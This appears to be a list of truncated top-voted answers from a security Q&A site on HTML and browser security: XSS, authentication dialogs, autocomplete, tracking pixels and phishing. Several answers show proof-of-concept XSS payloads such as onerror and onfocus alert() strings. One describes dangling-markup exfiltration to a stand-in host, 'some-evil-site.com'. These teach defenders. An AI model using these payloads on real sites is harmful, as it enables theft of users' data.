161
Most of the details in your question are irrelevant. That the ID is stored in a HTML id attribute, the developer tools, that you are using jQuery... None of that really matters.
The only thing that matters is that you have an endpoint on your server called insert.php. An attacker can send any request they want to that endpoint, regardless of what your ...
111
Firefox (fixed in Nightly 59.0a1), Safari (fixed in Safari Technology Preview 54), Edge, and Internet Explorer display an authentication dialog if you request an image and the server asks that you authenticate with HTTP Basic authentication. This allows an attacker to display an authentication dialog when a user's browser tries to load the image:
Firefox. ...
108
It increases dialog box fatigue. By overflowing the user with mundane dialog boxes, they are more likely to get into the habit of just clicking OK to remove the dialog box from their screen. This increases the risk of a user clicking OK on some important security decision presented in a dialog window.
90
If the site is based on ASPX files, then it is more than likely that this is a ASP.NET application - most probably hosted on IIS.
IIS has a very simple checkbox to enable Windows Integrated Authentication.
IE, on Windows 7, will by default send your credentials to any web server in the local intranet. (This is not your password, don't worry, but it is ...
75
Like Anders says: Blender makes a very good point about authentications dialogs, and korockinout13 is right about the on attributes. Moreover, Aders add argues about the a tag and Matija have a good link about exploiting libraries doing the rendering.
Yet, no one talked about SVG yet.
First of all let's assume that all input and output is properly ...
73
The question is asked mostly to protect you from phishing attacks. The website may fake an Operating system, and ask you to enter sensitive information like passwords. To quote the spec:
User agents should ensure, e.g. by means of an overlay, that the end
user is aware something is displayed fullscreen. User agents should
provide a means of exiting ...
54
The problem is that this one setting simultaneously controls the behavior of two similar but sufficiently dissimilar functions in the browser such that an optimal result is difficult to achieve.
First, we have what you might call "smart" or "naïve" or "automatic" auto-complete.
This is the original auto-complete technology. As you fill in forms on various ...
53
One of my employers told us that if we receive a suspicious email with links, we have to hover over the link (to check that it is not spoofed) before clicking it.
When you mouseover a link, the value of the href attribute is displayed in the status bar. Since this is the link target, it can give you an idea about where the link is going.
would someone ...
44
Assuming that you are coming from a BT connection, it's possible that this is part of the BT parental controls program.
There is a discussion of a similar looking pop-up here , which seems to tie into what you're seeing, and also a thread here on the BT site which has a link to a process to turn off that setting.
To test this theory you could log into ...
42
When I do pen tests, I report an issue if a form field asks for sensitive data (e.g. a credit card number), is NOT a password field, and does NOT have autocomplete=off.
The rational is that browsers manage autocomplete for passwords quite sensibly: they give the user the option of whether to store the password, and (most) users can make a sensible decision.
...
40
Try this:
" onfocus="alert(1)" autofocus="
It will expand to:
<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" />
Which will cause an alert box, demonstrating XSS.
40
<img src=http://evil.com is not too much of an issue, but <img src=a onerror=alert('XSS')> can be used to inject any arbitrary JavaScript. In fact, any HTML tag combined with any "on" event attribute (E.g. onerror, onclick, ontouchstart etc.) can be used to run unrestricted JavaScript payloads.
40
Editors, and common libraries used by editors, may have vulnerabilities like buffer overflows. Your attacker would need to know (or guess) what editor you use and craft an exploit specifically for that editor (different editors are unlikely to have the same vulnerabilities unless the vulnerability resides in a library they have in common). An attack may be ...
33
Okay, how about this: (You should probably stand back.)
<img src="file://uhoh.gif”>
Oh I know, right? What a monster!
Well it could be, if you are using SMB...
It's a bug that has been around for 18 YEARS! See this vulnerability report from 1997. Here is the same vulnerability at BlackHat, in 2015.
This affects Internet Explorer, including ...
32
That's incredible simple, and a really old trick.
Create a different survey for each department, even if the surveys have the same questions.
Everyone that answers to Survey X is from Department A.
Everyone that answers to Survey Y is from Department B.
Then, you just need to mash up the results and you're done!
That alone is enough to do a lot of ...
29
The email includes references to an externally-hosted images, like http://example.com/[tracking_id].png, where the tracking company controls the server hosting the image. The company records how and when each unique image URL is loaded by a mail client.
As you've noted, print operations can be logged by a tracking image in the @media print CSS directive. ...
28
For general comments, the script tags are properly escaped, so that it's just interpreted as text instead of as actual code. In this case, that sort of thing is handled via something known as HTML encoding, where your <script> tag would get turned into <script> and rendered as a text string instead of interpreted as code.
That said, ...
27
Just to be clear about how the attack works:
A site allows you to enter text that is later displayed somewhere. It does not properly filter out HTML.
Mallory enters <img src='https://some-evil-site.com/log_csrf?html=, and sends a link to the page to Alice.
Alice views the page, and the rest of the page with Alice's secret content is sent to some-evil-...
20
Oh, these answers are way too sophisticated for your situation. It's highly unlikely that your IT department would be using some fancy workaround assuming they know what editor you're using, their point is not to actually mess up your systems. Notepad isn't going to be doing anything with any image or attachment, no matter what, and the text you saw ...
19
This form effectively gave all websites a valid excuse to interfere with browsing until the user clicks on something.
This is indeed a bad thing: browsers have gone a long way protecting the user from malicious websites by limiting the actions that can be performed without clicking (like blocking pop-ups which are not a response to a click). Once the users ...
19
Okay, so, technically, you're never 100% safe. Yes, there could be attempted attacks on your text editor/ASCII viewer. Yes, someone could have somehow magically snuck a DLL into your temporary directory in order to mess with MS Notepad delay loading.
But in practice, when you receive an HTML file in a phishing email, it's going to contain some malicious ...
17
The "better way" is server-side validation, because you simply cannot control what the client will send. It does not matter what client-side method you use - <input maxlength=, javascript, what-have-you.
To quote OWASP:
Note that client side validation is a fine idea for performance and
usability, but it has no security benefit whatsoever. Server ...
17
I think by "img XSS" you mean "site that allows arbitrary values for the src="" attribute of <img /> elements".
...in which case the main risk is of Cross Site Request Forgery (CSRF) as it means an attacker can make a target make an arbitrary GET request, the canonical example being the "poorly-coded bank website makes money transfers using GET ...
16
Yes. You should always escape untrusted data. Here's an attack for your snippet (pseudocode):
<noscript>
<img src="<?php echo 'you should always escape everything,
dependeing on the context. This context is url in an attribute,
you should escape it appropriately. otherwise " />
</noscript&...
16
The D's answer points out that a GET can be used to issue commands both cross site and on the same site. I want to expand on that notion because saying "It's a GET request - be careful" doesn't usually manage to convey why that might be a problem.
One attack that can be done that other answers have not covered is denial of service. Consider the following:
...
15
If they have the real old password in the field you can retrieve it by looking at the source of the HTML page. But usually there is only a placeholder like "this was the old password" which is used to detect if the user changes the password or if something else inside the formular gets changed. With proper security the site cannot even put the old password ...
15
The website will record your IP address. The Company's network assigns your IP address. Just associate the two ...
14
Yes, almost all HTML tags allow you to declare an event handler. Some of these events could be triggered when the page loads without user interaction:
<img src=x onerror=alert(1) />
Event tags are not the only way to trigger xss:
<a href=javascript:alert(1)>xss</a>
One possilbe solution is to set the Content Security Policy for this ...
14
Yes. It's trivial.
<div onmouseover="alert(1)" style="position:fixed;left:0;top:0;width:9999px;height:9999px;"></div>
Might want to save your work before trying that, though - the alert might show repeatedly as you move your mouse across the screen.
Of course, a better attack would involve destroying the div as soon as the JavaScript is called,...
14
It is a security measure, as the description in the code implies. The iframe serves as a protection mechanism against XSS exploits through browsers' own measures against these very same attack types by preventing JavaScript access to frames and iframes when they're not published on the same domain. It isn't really necessary to write this part of HTML ...
Only top voted, non community-wiki answers of a minimum length are eligible
